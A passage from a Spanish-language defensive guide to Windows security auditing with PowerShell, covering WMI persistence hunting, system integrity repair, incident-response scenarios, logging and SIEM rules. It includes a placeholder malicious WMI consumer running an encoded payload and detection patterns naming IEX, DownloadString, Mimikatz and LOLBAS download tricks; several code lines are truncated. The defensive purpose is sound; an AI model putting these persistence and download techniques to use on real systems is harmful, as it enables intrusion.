- Crear whitelist de servicios legítimos conocidos
- Verificar hash de ejecutables contra VirusTotal
- Revisar servicios con ServiceDll (DLL hijacking)
- Detener y deshabilitar: `Stop-Service -Name "Malicious"; Set-Service -Name "Malicious" -StartupType Disabled`
- Eliminar: `sc.exe delete "Malicious"`

---

### 11.3 Análisis de Suscripciones WMI (Persistencia Avanzada)

```
Get-WmiObject -Namespace root\Subscription -Class __EventFilter
Get-WmiObject -Namespace root\Subscription -Class __EventConsumer
Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding
```

**Propósito:** Detectar persistencia avanzada mediante WMI Event Subscriptions.

**Categoría:** Persistencia, Threat Hunting, Análisis Avanzado

**Relevancia para Auditoría:** (CRÍTICO)

#### Utilidad para Seguridad:

- **Detección de Amenazas:** WMI persistence es técnica avanzada usada por APTs
- **Threat Hunting:** Detectar persistencia que evade métodos tradicionales
- **Respuesta a Incidentes:** Eliminar backdoors sofisticados
- **Análisis Forense:** Identificar TTPs de atacantes avanzados

#### Componentes de WMI Persistence:

1. **Event Filter:** Define evento que activa ejecución

```
Get-WmiObject -Namespace root\Subscription -Class __EventFilter |
Select-Object Name, Query, EventNamespace
```

- Ejemplo malicioso: Filter que se activa cada 60 segundos

## 2. Event Consumer: Define acción a ejecutar

```
# CommandLineEventConsumer (más común para malware)
Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer |
Select-Object Name, CommandLineTemplate

# ActiveScriptEventConsumer
Get-WmiObject -Namespace root\Subscription -Class ActiveScriptEventConsumer |
Select-Object Name, ScriptText
```

## 3. Filter To Consumer Binding: Vincula Filter con Consumer

```
Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding |
Select-Object Filter, Consumer
```

### Ejemplo de Persistencia Maliciosa:

```
# Filter: cada 60 segundos
Filter Query: SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInst

# Consumer: ejecutar payload
CommandLineTemplate: powershell.exe -enc <base64_encoded_payload>
```

### Indicadores de WMI Persistence Malicioso:

- Consumer ejecuta PowerShell con -enc o -e
- CommandLineTemplate incluye DownloadString, IEX
- ScriptText ofuscado o codificado
- Name genérico o aleatorio
- Filter con WITHIN bajo (alta frecuencia)

### Análisis Completo:

```
$filters = Get-WmiObject -Namespace root\Subscription -Class __EventFilter
$consumers = Get-WmiObject -Namespace root\Subscription -Class __EventConsumer
$bindings = Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerB

foreach ($binding in $bindings) {
    $filter = $filters | Where-Object {$_.__PATH -eq $binding.Filter}
    $consumer = $consumers | Where-Object {$_.__PATH -eq $binding.Consumer}
```



```
[PSCustomObject]@{
    FilterName = $filter.Name
    FilterQuery = $filter.Query
    ConsumerName = $consumer.Name
    ConsumerType = $consumer.__CLASS
    ConsumerCommand = $consumer.CommandLineTemplate
    ConsumerScript = $consumer.ScriptText
}
```

### Eliminación de WMI Persistence:

```
# Ejemplo: eliminar por nombre
$filterName = "MaliciousFilter"
$consumerName = "MaliciousConsumer"

Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding |
    Where-Object {$_.Filter -like "$filterName*"} | Remove-WmiObject

Get-WmiObject -Namespace root\Subscription -Class __EventFilter |
    Where-Object {$_.Name -eq $filterName} | Remove-WmiObject

Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer |
    Where-Object {$_.Name -eq $consumerName} | Remove-WmiObject
```

### Event IDs Relevantes:

- **5858:** WMI Activity (requiere habilitar WMI Activity log)
- **5860, 5861:** Permanent WMI Event registrado

### Notas de Implementación:

- Ambientes legítimos normalmente tienen 0-2 permanent event consumers
- Microsoft SCCM usa WMI persistence legítimamente
- Verificar scripts ejecutados en consumers contra baseline
- Herramientas: Autoruns muestra WMI persistence en GUI
- Considerar WMI event auditing en sistemas críticos

---

## 12. HERRAMIENTAS NATIVAS DE SEGURIDAD

### 12.1 sfc /scannow (System File Checker)

```
sfc /scannow
```

**Propósito:** Escanear y reparar archivos del sistema dañados o modificados.

**Categoría:** Integridad, Forense, Remediación

**Relevancia para Auditoría:** (ALTO)

**Utilidad para Seguridad:**

- **Detección de Amenazas:** Identificar archivos del sistema modificados por malware
- **Respuesta a Incidentes:** Reparar sistemas comprometidos
- **Análisis Forense:** Detectar rootkits que modifican binarios del sistema
- **Integridad:** Validar integridad de archivos críticos

**Funcionamiento:**

- Compara archivos del sistema contra cache limpio (C:\Windows\System32\dlcache)
- Repara automáticamente archivos incorrectos
- Log en: C:\Windows\Logs\CBS\CBS.log

**Interpretar Resultados:**

```
# Ver archivos modificados/reparados
Select-String -Path C:\Windows\Logs\CBS\CBS.log -Pattern "Cannot repair", "Repair"

# Formato alternativo
findstr /c:"[SR]" C:\Windows\Logs\CBS\CBS.log > C:\sfcdetails.txt
```

**Notas de Implementación:**

- Requiere privilegios administrativos
- Puede tomar 15-60 minutos
- Si SFC falla, usar DISM primero para reparar component store
- Modificaciones pueden indicar rootkit o sistema comprometido severamente

## 12.2 DISM (Deployment Image Servicing and Management)

```
DISM /Online /Cleanup-Image /RestoreHealth
```

**Propósito:** Reparar Windows Component Store (más profundo que SFC).

**Categoría:** Integridad, Remediación

**Relevancia para Auditoría:** (MEDIO)

**Utilidad para Seguridad:**

- **Respuesta a Incidentes:** Reparar sistema antes de restaurar funcionalidad
- **Remediación:** Corregir corrupción post-malware
- **Mantenimiento:** Mantener integridad del sistema

**Secuencia Recomendada:**

```
# 1. Verificar integridad
DISM /Online /Cleanup-Image /CheckHealth

# 2. Escanear corrupción
DISM /Online /Cleanup-Image /ScanHealth

# 3. Reparar (requiere Internet para descargar archivos limpios)
DISM /Online /Cleanup-Image /RestoreHealth

# 4. Ejecutar SFC después
sfc /scannow
```

**Notas de Implementación:**

- Más intensivo que SFC (puede tomar >30 min)
- Requiere acceso a Windows Update o fuente de instalación
- Log en: C:\Windows\Logs\DISM\dism.log

---

## 13. FORENSE Y ANÁLISIS AVANZADO

### 13.1 Test-SecurityBaseline (Función de verificación)

```
function Test-SecurityBaseline {  
    param([Parameter(Mandatory=$true)][string]$ComputerName)  
  
    $results = @{  
        ComputerName=$ComputerName  
        FirewallEnabled=$false  
        UpdateStatus="Unknown"  
        AntivirusStatus="Unknown"  
        SuspiciousServices=@()  
        PasswordPolicy=@{}  
        Vulnerabilities=@()  
    }  
  
    try {  
        $fw = Invoke-Command -ComputerName $ComputerName -ScriptBlock {  
            Get-NetFirewallProfile  
        }  
        $results.FirewallEnabled = -not ($fw | Where-Object { $_.Enabled -eq $false })  
    } catch {  
        $results.FirewallEnabled = "Error: $_"  
    }  
  
    return [PSCustomObject]$results  
}  
  
Test-SecurityBaseline -ComputerName "localhost"
```

**Propósito:** Framework automatizado para verificar baseline de seguridad.

**Categoría:** Auditoría, Compliance, Automatización

**Relevancia para Auditoría:** (CRÍTICO)

**Utilidad para Seguridad:**

- **Compliance:** Verificación automatizada de estándares de seguridad
- **Auditoría:** Identificar desviaciones de configuración
- **Hardening:** Validar implementación de controles
- **Reporting:** Generar informes de estado de seguridad

**Expansión Recomendada:**

```
function Test-SecurityBaseline {  
    param([string]$ComputerName = "localhost")  
}
```

```
$results = @{}

# Firewall
$results.Firewall = Get-NetFirewallProfile | Select-Object Name, Enabled

# Windows Defender
$results.Defender = Get-MpComputerStatus | Select-Object RealTimeProtectionEn
    AntivirusSignatureAge, IoavProtectionEnabled

# Windows Update (últimas actualizaciones)
$results.Updates = Get-HotFix | Sort-Object InstalledOn -Descending | Select-

# Usuarios con privilegios
$results.Administrators = Get-LocalGroupMember -Group "Administrators"

# Servicios auto innecesarios
$unnecessary = @('RemoteRegistry', 'Telnet', 'SNMP')
$results.UnnecessaryServices = Get-Service | Where-Object {
    $_.StartType -eq 'Automatic' -and $_.Name -in $unnecessary
}

# Política de passwords
$results.PasswordPolicy = net accounts | Select-String "Length", "Lockout", "

# SMBv1 (vulnerable)
$results.SMBv1Enabled = (Get-WindowsOptionalFeature -Online -FeatureName SMB1

# PowerShell logging
$results.PSScriptBlockLogging = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Polic

# BitLocker
$results.BitLocker = Get-BitLockerVolume | Select-Object MountPoint, Protecti

return [PSCustomObject]$results
}
```

### Notas de Implementación:

- Ejecutar mensualmente en todos los sistemas
- Comparar resultados contra CIS Benchmark o NIST guidelines
- Generar reportes ejecutivos de compliance
- Integrar con SIEM para tracking continuo

## Comandos Críticos para Auditoría de Seguridad

## TOP 20 Comandos Más Relevantes (Ordenados por Prioridad)

| #  | Comando                                                     | Categoría      | Criticidad | Uso Principal                                                                      |
|----|-------------------------------------------------------------|----------------|------------|------------------------------------------------------------------------------------|
| 1  | <code>Get-WinEvent</code> (Event ID 4625, 4740, 4688, 4104) | Logging        |            | Detección de ataques de autenticación, ejecución de procesos, PowerShell malicioso |
| 2  | <code>Get-NetTCPConnection</code> (puertos no estándar)     | Red            |            | Detección de C2, backdoors, comunicaciones maliciosas                              |
| 3  | <code>Get-WmiObject Win32_Process</code> (CommandLine)      | Procesos       |            | Detección de comandos maliciosos, codificados, LOLBAS                              |
| 4  | <code>Get-ItemProperty</code> (Run Keys)                    | Persistencia   |            | Detección de persistencia en registro                                              |
| 5  | <code>Get-ChildItem</code> (archivos modificados)           | Archivos       |            | Detección de ransomware, modificaciones no autorizadas                             |
| 6  | <code>Get-MpComputerStatus</code>                           | Antivirus      |            | Verificar estado de protección                                                     |
| 7  | <code>Get-LocalGroupMember</code> (Administrators)          | Cuentas        |            | Detección de privilege escalation                                                  |
| 8  | <code>Get-ScheduledTask</code> (sospechosas)                | Persistencia   |            | Detección de tareas maliciosas                                                     |
| 9  | <code>Get-FileHash</code>                                   | Integridad     |            | Validación de integridad de archivos                                               |
| 10 | <code>Get-Process</code> (sin Path)                         | Procesos       |            | Detección de fileless malware, injection                                           |
| 11 | LOLBAS Detection Script                                     | Threat Hunting |            | Detección de living off the land                                                   |

| #  | Comando                                  | Categoría      | Criticidad | Uso Principal                                     |
|----|------------------------------------------|----------------|------------|---------------------------------------------------|
| 12 | WMI Persistence Analysis                 | Persistencia   |            | Detección de persistencia avanzada APT            |
| 13 | Get-DnsClientCache                       | Red            |            | Detección de comunicación con dominios maliciosos |
| 14 | Get-Service<br>(ubicaciones no estándar) | Servicios      |            | Detección de servicios maliciosos                 |
| 15 | Get-LocalUser                            | Cuentas        |            | Auditoría de cuentas, detección de backdoors      |
| 16 | Invoke-Command<br>(remoto)               | IR             |            | Respuesta a incidentes remota                     |
| 17 | secedit /export                          | Compliance     |            | Auditoría de políticas de seguridad               |
| 18 | gpresult /h                              | Configuración  |            | Verificación de GPOs aplicadas                    |
| 19 | PowerShell Malicious Patterns Script     | Threat Hunting |            | Detección proactiva de amenazas                   |
| 20 | Invoke-IncidentResponse<br>Function      | IR             |            | Recolección forense automatizada                  |

## Matriz de Relevancia para Seguridad Empresarial

### Por Caso de Uso

#### [CRITICO] DETECCIÓN DE AMENAZAS EN TIEMPO REAL

##### Comandos Esenciales:

1. Get-NetTCPConnection (conexiones activas)

2. Get-Process (procesos sin Path)
3. Get-MpComputerStatus (estado antivirus)
4. Get-WinEvent Event ID 4104 (PowerShell Script Block)
5. Get-WinEvent Event ID 4625 (logins fallidos)
6. Get-DnsClientCache (resoluciones DNS)

**Frecuencia:** Continua (SIEM integration) o cada 5-15 minutos

---

## [ALTO] THREAT HUNTING PROACTIVO

### Comandos Esenciales:

1. LOLBAS Detection (certutil, regsvr32, mshta, etc.)
2. PowerShell Malicious Patterns (IEX, DownloadString, -enc)
3. Get-ScheduledTask (tareas sospechosas)
4. WMI Persistence Analysis (\_\_EventFilter, \_\_EventConsumer)
5. Get-Service (ubicaciones no estándar)
6. Get-ItemProperty (Run Keys en múltiples ubicaciones)
7. Get-WmiObject Win32\_Process (CommandLine analysis)

**Frecuencia:** Semanal o bi-semanal

---

## [MEDIO] RESPUESTA A INCIDENTES

### Comandos Esenciales:

1. Invoke-IncidentResponse (recolección forense completa)
2. Invoke-Command (ejecución remota para IR)
3. Get-FileHash (validación de integridad)
4. Get-WinEvent (múltiples Event IDs relevantes)
5. Get-ChildItem (archivos modificados recientemente)
6. Get-NetTCPConnection (conexiones activas durante incidente)
7. Get-Process con análisis completo (Path, Company, StartTime)

**Frecuencia:** Bajo demanda durante incidentes



---

## [BAJO] COMPLIANCE Y AUDITORÍA

### Comandos Esenciales:

1. Test-SecurityBaseline (función customizada)
2. secedit /export (políticas de seguridad)
3. gpresult /h (GPOs aplicadas)
4. Get-LocalUser (auditoría de cuentas)
5. Get-LocalGroupMember (privilegios)
6. Get-MpPreference (configuración Defender)
7. Get-ExecutionPolicy (políticas PowerShell)
8. Get-Service (servicios automáticos)

**Frecuencia:** Mensual o según requerimientos de compliance

---

## HARDENING Y PREVENCIÓN

### Comandos Esenciales:

1. Set-MpPreference (protecciones avanzadas)
2. Set-ExecutionPolicy (restricción de scripts)
3. Enable-PSRemoting con HTTPS (administración segura)
4. Set-NetFirewallProfile (configuración firewall)
5. Disable-WindowsOptionalFeature (deshabilitar SMBv1)
6. Configuración de Controlled Folder Access
7. Implementación de ASR Rules

**Frecuencia:** Durante proceso de hardening inicial y revisiones trimestrales

---

## Casos de Uso por Escenario de Seguridad

---

### Escenario 1: Sospecha de Ransomware

#### Comandos Inmediatos:

Sammi De Blas Kalloub  
Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)  
Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

```
# 1. Archivos modificados masivamente
Get-ChildItem -Path C:\ -Recurse -Force -ErrorAction SilentlyContinue |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-2)} |
Group-Object Extension | Sort-Object Count -Descending

# 2. Procesos activos sospechosos
Get-Process | Where-Object {$_.CPU -gt 10} |
Select-Object Name, Id, Path, CPU, StartTime

# 3. Conexiones de red (posible C2 para ransomware)
Get-NetTCPConnection -State Established

# 4. Detecciones de Defender
Get-MpThreatDetection | Select-Object ThreatID, Resources, InitialDetectionTime

# 5. Tareas programadas recientes (persistencia)
Get-ScheduledTask | Where-Object {$_.Date -gt (Get-Date).AddDays(-1)}
```

## Escenario 2: Compromiso de Credenciales

### Comandos Inmediatos:

```
# 1. Logins fallidos (brute force)
Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4625 } |
Select-Object TimeCreated, @{Name="Username";Expression={$_.Properties[5].Value}}
@{Name="SourceIP";Expression={$_.Properties[19].Value}} |
Group-Object Username | Where-Object {$_.Count -gt 5}

# 2. Bloqueos de cuenta
Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4740 }

# 3. Cuentas con privilegios
Get-LocalGroupMember -Group "Administrators"

# 4. Logins exitosos recientes (Event ID 4624)
Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4624 } |
Select-Object TimeCreated, @{Name="User";Expression={$_.Properties[5].Value}},
@{Name="LogonType";Expression={$_.Properties[8].Value}}

# 5. Cambios de password recientes (Event ID 4724)
Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4724 }
```

## Escenario 3: Lateral Movement Detection

## Comandos Inmediatos:

```
# 1. Conexiones PSRemoting (Event ID 4103, 4104)
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
Where-Object {$_.Id -in @(4103, 4104)} |
Select-Object TimeCreated, Message -First 50

# 2. Ejecución de PsExec o servicios remotos
Get-WinEvent -LogName System | Where-Object {$_.Id -eq 7045}

# 3. Scheduled tasks creadas remotamente
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4698}

# 4. Conexiones SMB activas
Get-SmbConnection

# 5. Sesiones de red abiertas
net session
```

## Escenario 4: Fileless Malware

### Comandos Inmediatos:

```
# 1. Procesos sin Path
Get-Process | Where-Object { $_.Path -eq $null -and $_.Name -notin @("Idle", "Sys

# 2. PowerShell con comandos codificados
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
Where-Object { $_.Message -match "-enc|-e |-EncodedCommand" }

# 3. Inyección en procesos legítimos
Get-Process | Select-Object Name, Id, Modules |
Where-Object {($_.Modules | Where-Object {$_.FileName -notmatch "^C:\\Windows"}).

# 4. WMI persistence
Get-WmiObject -Namespace root\Subscription -Class __EventFilter
Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer

# 5. Script Block Logging con patrones maliciosos
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
Where-Object {$_.Id -eq 4104 -and $_.Message -match "Invoke-Mimikatz|Invoke-Shell
```

## Escenario 5: Data Exfiltration

## Comandos Inmediatos:

```
# 1. Conexiones de red con alto volumen
Get-NetTCPConnection -State Established |
Select-Object LocalAddress, RemoteAddress, RemotePort, OwningProcess,
@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).Name}}

# 2. Procesos con alto uso de red
Get-Counter '\Network Interface(*)\Bytes Sent/sec'

# 3. Archivos comprimidos recientes
Get-ChildItem -Path C:\ -Recurse -Include *.zip,*.rar,*.7z -ErrorAction SilentlyContinue
Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-24)}

# 4. Uso de herramientas de transferencia
Get-Process | Where-Object {$_.Name -match "curl|wget|ftp|scp|rsync"}

# 5. DNS queries inusuales (DNS tunneling)
Get-DnsClientCache | Where-Object {$_.Name.Length -gt 50}
```

## Recomendaciones de Implementación

### 1. LOGGING OBLIGATORIO

Habilitar en TODAS las máquinas:

#### PowerShell Logging

```
# Via GPO: Computer Configuration > Administrative Templates > Windows Components

# Script Block Logging
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "ScriptBlockLogging" -Value 1

# Module Logging
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "ModuleLogging" -Value 1

# Transcription
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "Transcription" -Value 1
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "Logging" -Value 1
```

## Process Creation Auditing (Event ID 4688)

```
# Habilitar audit de creación de procesos
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

# Incluir línea de comandos
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
```

## Additional Security Auditing

```
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Account Lockout" /success:enable /failure:enable
auditpol /set /subcategory:"Security Group Management" /success:enable
auditpol /set /subcategory:"User Account Management" /success:enable
auditpol /set /subcategory:"Registry" /success:enable
auditpol /set /subcategory:"File System" /success:enable
```

## 2. CENTRALIZACIÓN DE LOGS

### Configurar Windows Event Forwarding (WEF):

#### En Collector (servidor SIEM/Log collector):

```
wecutil qc
```

#### En Endpoints:

```
winrm quickconfig
```

#### Crear Subscription:

```
<Subscription xmlns="http://schemas.microsoft.com/2006/03/windows/events/subscrip
  <SubscriptionId>SecurityEvents</SubscriptionId>
  <SubscriptionType>SourceInitiated</SubscriptionType>
  <Query>
    <QueryList>
      <Query Id="0">
        <Select Path="Security">*[System[(EventID=4624 or EventID=4625 or
        <Select Path="Microsoft-Windows-PowerShell/Operational">*[System[
        <Select Path="System">*[System[(EventID=7045)]]</Select>
```

```
</Query>
</QueryList>
</Query>
</Subscription>
```

### 3. AUTOMATIZACIÓN DE AUDITORÍA

#### Script de Auditoría Diaria:

```
# Guardar como C:\Scripts\Daily-SecurityAudit.ps1

$outputPath = "C:\SecurityAudits\$(Get-Date -Format 'yyyyMMdd')"
New-Item -Path $outputPath -ItemType Directory -Force | Out-Null

# 1. Conexiones de red sospechosas
Get-NetTCPConnection -State Established |
Where-Object { $_.RemotePort -notin @(80, 443, 53) } |
Select-Object LocalAddress, RemoteAddress, RemotePort,
    @{Name="Process";Expression={(Get-Process -Id $_.OwningProcess -ErrorAction S
Export-Csv "$outputPath\SuspiciousConnections.csv" -NoTypeInformation

# 2. Logins fallidos
Get-WinEvent -LogName Security -MaxEvents 1000 | Where-Object { $_.Id -eq 4625 }
Select-Object TimeCreated, @{Name="User";Expression={$_.Properties[5].Value}} |
Export-Csv "$outputPath\FailedLogins.csv" -NoTypeInformation

# 3. Procesos sin Path
Get-Process | Where-Object { $_.Path -eq $null -and $_.Name -notin @("Idle", "Sys
Export-Csv "$outputPath\ProcessesWithoutPath.csv" -NoTypeInformation

# 4. Cambios en Administrators
Get-LocalGroupMember -Group "Administrators" |
Export-Csv "$outputPath\Administrators.csv" -NoTypeInformation

# 5. Tareas programadas activas
Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } |
Select-Object TaskName, TaskPath, State, @{Name="Actions";Expression={$_.Actions
Export-Csv "$outputPath\ScheduledTasks.csv" -NoTypeInformation

# 6. Estado de Defender
Get-MpComputerStatus | Export-Clixml "$outputPath\DefenderStatus.xml"

# 7. Servicios sospechosos
Get-WmiObject Win32_Service |
Where-Object { $_.PathName -notmatch '^C:\\(Windows|Program Files)' -and $_.Start
Export-Csv "$outputPath\SuspiciousServices.csv" -NoTypeInformation
```

```
# Comprimir y archivar  
Compress-Archive -Path $outputPath\* -DestinationPath "$outputPath.zip"
```

### Programar con Scheduled Task:

```
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-Execution  
$trigger = New-ScheduledTaskTrigger -Daily -At 2AM  
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount  
Register-ScheduledTask -TaskName "Daily Security Audit" -Action $action -Trigger
```

## 4. REGLAS SIEM RECOMENDADAS

### Alertas de Alta Prioridad:

#### 1. PowerShell Codificado:

- Event ID 4104 con Message contiene "-enc", "-e", "EncodedCommand", "FromBase64String"
- Severidad: ALTA

#### 2. Múltiples Logins Fallidos:

- 5+ Event ID 4625 mismo usuario en 5 minutos
- Severidad: ALTA

#### 3. Proceso sin Path:

- Proceso en ejecución sin Path (excepto System, Idle, Registry)
- Severidad: CRÍTICA

#### 4. Nuevo Servicio Instalado:

- Event ID 7045 (nuevo servicio)
- Severidad: MEDIA (correlacionar con firma digital y ubicación)

#### 5. Cambios en Grupo Administrators:

- Event ID 4732, 4733 (miembro agregado/removido)
- Severidad: ALTA

## 6. LOLBAS Execution:

- Event ID 4688 con CommandLine contiene: certutil + urlcache, regsvr32 + /i:http, mshta + http
- Severidad: CRÍTICA

## 7. Defender Deshabilitado:

- Event ID 5001 (protección deshabilitada)
- Severidad: CRÍTICA

## 8. WMI Persistence:

- Event ID 5858, 5860, 5861 (WMI activity)
- Severidad: ALTA

---

# 5. BASELINE Y COMPARACIÓN

### Crear Baseline Inicial:

```
# Ejecutar en sistema recién instalado y hardened

$baseline = @{}

$baseline.Services = Get-Service | Select-Object Name, StartType, Status
$baseline.ScheduledTasks = Get-ScheduledTask | Select-Object TaskName, TaskPath,
$baseline.Administrators = Get-LocalGroupMember -Group "Administrators"
$baseline.RunKeys = Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\Curr
$baseline.LocalUsers = Get-LocalUser | Select-Object Name, Enabled
$baseline.FirewallRules = Get-NetFirewallRule | Where-Object {$_.Enabled -eq $tru
$baseline.DefenderConfig = Get-MpPreference
$baseline.SecurityPolicy = & secedit /export /cfg "$env:TEMP\secpol.cfg"

$baseline | Export-Clixml "C:\Baseline\SystemBaseline.xml"
```

### Comparar contra Baseline:

```
$baseline = Import-Clixml "C:\Baseline\SystemBaseline.xml"
$current = @{}

$current.Services = Get-Service | Select-Object Name, StartType, Status
$current.ScheduledTasks = Get-ScheduledTask | Select-Object TaskName, TaskPath, S
$current.Administrators = Get-LocalGroupMember -Group "Administrators"
```



```
# Nuevos servicios
$newServices = Compare-Object $baseline.Services $current.Services -Property Name
                Where-Object {$_.SideIndicator -eq '=>'}

# Nuevas tareas programadas
$newTasks = Compare-Object $baseline.ScheduledTasks $current.ScheduledTasks -Prop
                Where-Object {$_.SideIndicator -eq '=>'}

# Nuevos administradores
$newAdmins = Compare-Object $baseline.Administrators $current.Administrators -Pro
                Where-Object {$_.SideIndicator -eq '=>'}

# Reporte de desviaciones
[PSCustomObject]@{
    NewServices = $newServices
    NewScheduledTasks = $newTasks
    NewAdministrators = $newAdmins
} | ConvertTo-Json | Out-File "C:\Audits\BaselineDeviation_$(Get-Date -Format 'yy
```

## RESUMEN Y CONCLUSIONES

### Comandos Absolutamente Críticos (Top 10)

1. **Get-WinEvent** - Análisis de logs de seguridad (4625, 4688, 4104, 4740, 7045)
2. **Get-NetTCPConnection** - Detección de comunicaciones maliciosas
3. **Get-WmiObject Win32\_Process** - Análisis de línea de comandos de procesos
4. **Get-ItemProperty** (Run Keys) - Detección de persistencia en registro
5. **Get-ScheduledTask** - Detección de tareas maliciosas
6. **Get-Process** (sin Path) - Detección de fileless malware
7. **Get-LocalGroupMember** - Auditoría de privilegios
8. **Get-MpComputerStatus** - Estado de protección antivirus
9. **Get-FileHash** - Validación de integridad
10. **Invoke-Command** - Respuesta a incidentes remota

### Habilitaciones Obligatorias

[OK] **PowerShell Script Block Logging** (Event ID 4104)

[OK] **PowerShell Module Logging**

[OK] **PowerShell Transcription**

[OK] **Process Creation Auditing con CommandLine** (Event ID 4688)

[OK] **Security Auditing** (Logon, Account Lockout, User Management)

[OK] **Windows Defender Protections** (Real-Time, Behavior Monitor, Cloud Protection)

[OK] **Tamper Protection** (impide deshabilitación de Defender)

[OK] **Controlled Folder Access** (anti-ransomware)

[OK] **Attack Surface Reduction Rules**

[OK] **Network Protection**

## Frecuencias de Ejecución Recomendadas

| Actividad                      | Frecuencia      | Automatización |
|--------------------------------|-----------------|----------------|
| Análisis de conexiones de red  | Continua (SIEM) | Sí             |
| Verificación de Defender       | Diaria          | Sí             |
| Auditoría de administradores   | Diaria          | Sí             |
| Análisis de tareas programadas | Semanal         | Sí             |
| Búsqueda de LOLBAS             | Semanal         | Sí             |
| Baseline comparison            | Mensual         | Sí             |
| Análisis de persistencia WMI   | Mensual         | Sí             |
| Compliance audit completo      | Mensual         | Sí             |
| Revisión manual de logs        | Semanal         | No             |
| Threat hunting proactivo       | Bi-semanal      | Parcial        |

## Integración con SIEM

### Logs Críticos a Enviar a SIEM:

- Security Event Log (Event IDs: 4624, 4625, 4688, 4698, 4732, 4733, 4740)
- Microsoft-Windows-PowerShell/Operational (Event ID: 4104)

- System Log (Event ID: 7045)
- Microsoft-Windows-Windows Defender/Operational (Event IDs: 1116, 1117, 5001)
- Microsoft-Windows-Sysmon/Operational (si Sysmon instalado)

## Herramientas Complementarias Recomendadas

### 1. Sysinternals Suite:

- Autoruns (persistencia visual)
- Process Explorer (análisis de procesos avanzado)
- TCPView (conexiones de red en tiempo real)
- ProcDump (captura de memoria de procesos)

### 2. Sysmon:

- Logging avanzado de eventos del sistema
- Configurar con SwiftOnSecurity config

### 3. WMIC/CIM Alternative:

- Migrar a Get-CimInstance (WMIC deprecated en Windows 11)

### 4. External Tools:

- Volatility (análisis de memoria)
- KAPE (Kroll Artifact Parser and Extractor)
- Eric Zimmerman Tools (forensic analysis)

---

## ANEXO: Mapeo MITRE ATT&CK

---

### Comandos Mapeados a Técnicas MITRE

| Técnica MITRE          | Comando de Detección                    | Descripción                       |
|------------------------|-----------------------------------------|-----------------------------------|
| T1059.001 (PowerShell) | Get-WinEvent 4104 + patrones maliciosos | Detección de PowerShell malicioso |

| Técnica MITRE                         | Comando de Detección            | Descripción                              |
|---------------------------------------|---------------------------------|------------------------------------------|
| T1053.005 (Scheduled Task)            | Get-ScheduledTask analysis      | Detección de persistencia vía tareas     |
| T1547.001 (Registry Run Keys)         | Get-ItemProperty Run keys       | Detección de persistencia en registro    |
| T1543.003 (Windows Service)           | Get-Service análisis sospechoso | Detección de servicios maliciosos        |
| T1546.003 (WMI Event Subscription)    | WMI Persistence analysis        | Detección de persistencia WMI            |
| T1110 (Brute Force)                   | Get-WinEvent 4625 analysis      | Detección de ataques de fuerza bruta     |
| T1071 (Application Layer Protocol)    | Get-NetTCPConnection analysis   | Detección de C2 communication            |
| T1055 (Process Injection)             | Get-Process sin Path            | Detección de inyección de procesos       |
| T1027 (Obfuscated Files)              | CommandLine analysis -enc       | Detección de ofuscación                  |
| T1218 (Signed Binary Proxy)           | LOLBAS detection                | Detección de abuso de binarios legítimos |
| T1562.001 (Disable AV)                | Get-MpComputerStatus            | Detección de deshabilitación de Defender |
| T1087 (Account Discovery)             | Event ID 4798, 4799             | Detección de enumeración de cuentas      |
| T1021.006 (Windows Remote Management) | PSRemoting events               | Detección de WinRM para lateral movement |

---

## FIN DEL ANÁLISIS

---

### Notas Finales:

Este documento proporciona una base exhaustiva para implementar un programa robusto de auditoría de seguridad basado en comandos PowerShell y Windows nativos.

**Próximos Pasos Recomendados:**

1. Implementar logging obligatorio en todos los sistemas
2. Configurar centralización de logs (WEF o SIEM)
3. Automatizar scripts de auditoría diaria
4. Crear baseline de sistemas conocidos buenos
5. Desarrollar playbooks de respuesta a incidentes
6. Capacitar equipo de seguridad en uso de comandos
7. Integrar con threat intelligence feeds
8. Establecer métricas y KPIs de seguridad

**Advertencia Legal:** Los comandos y técnicas documentadas deben ser utilizados exclusivamente en sistemas autorizados y con permisos apropiados. El uso no autorizado puede violar leyes locales e internacionales.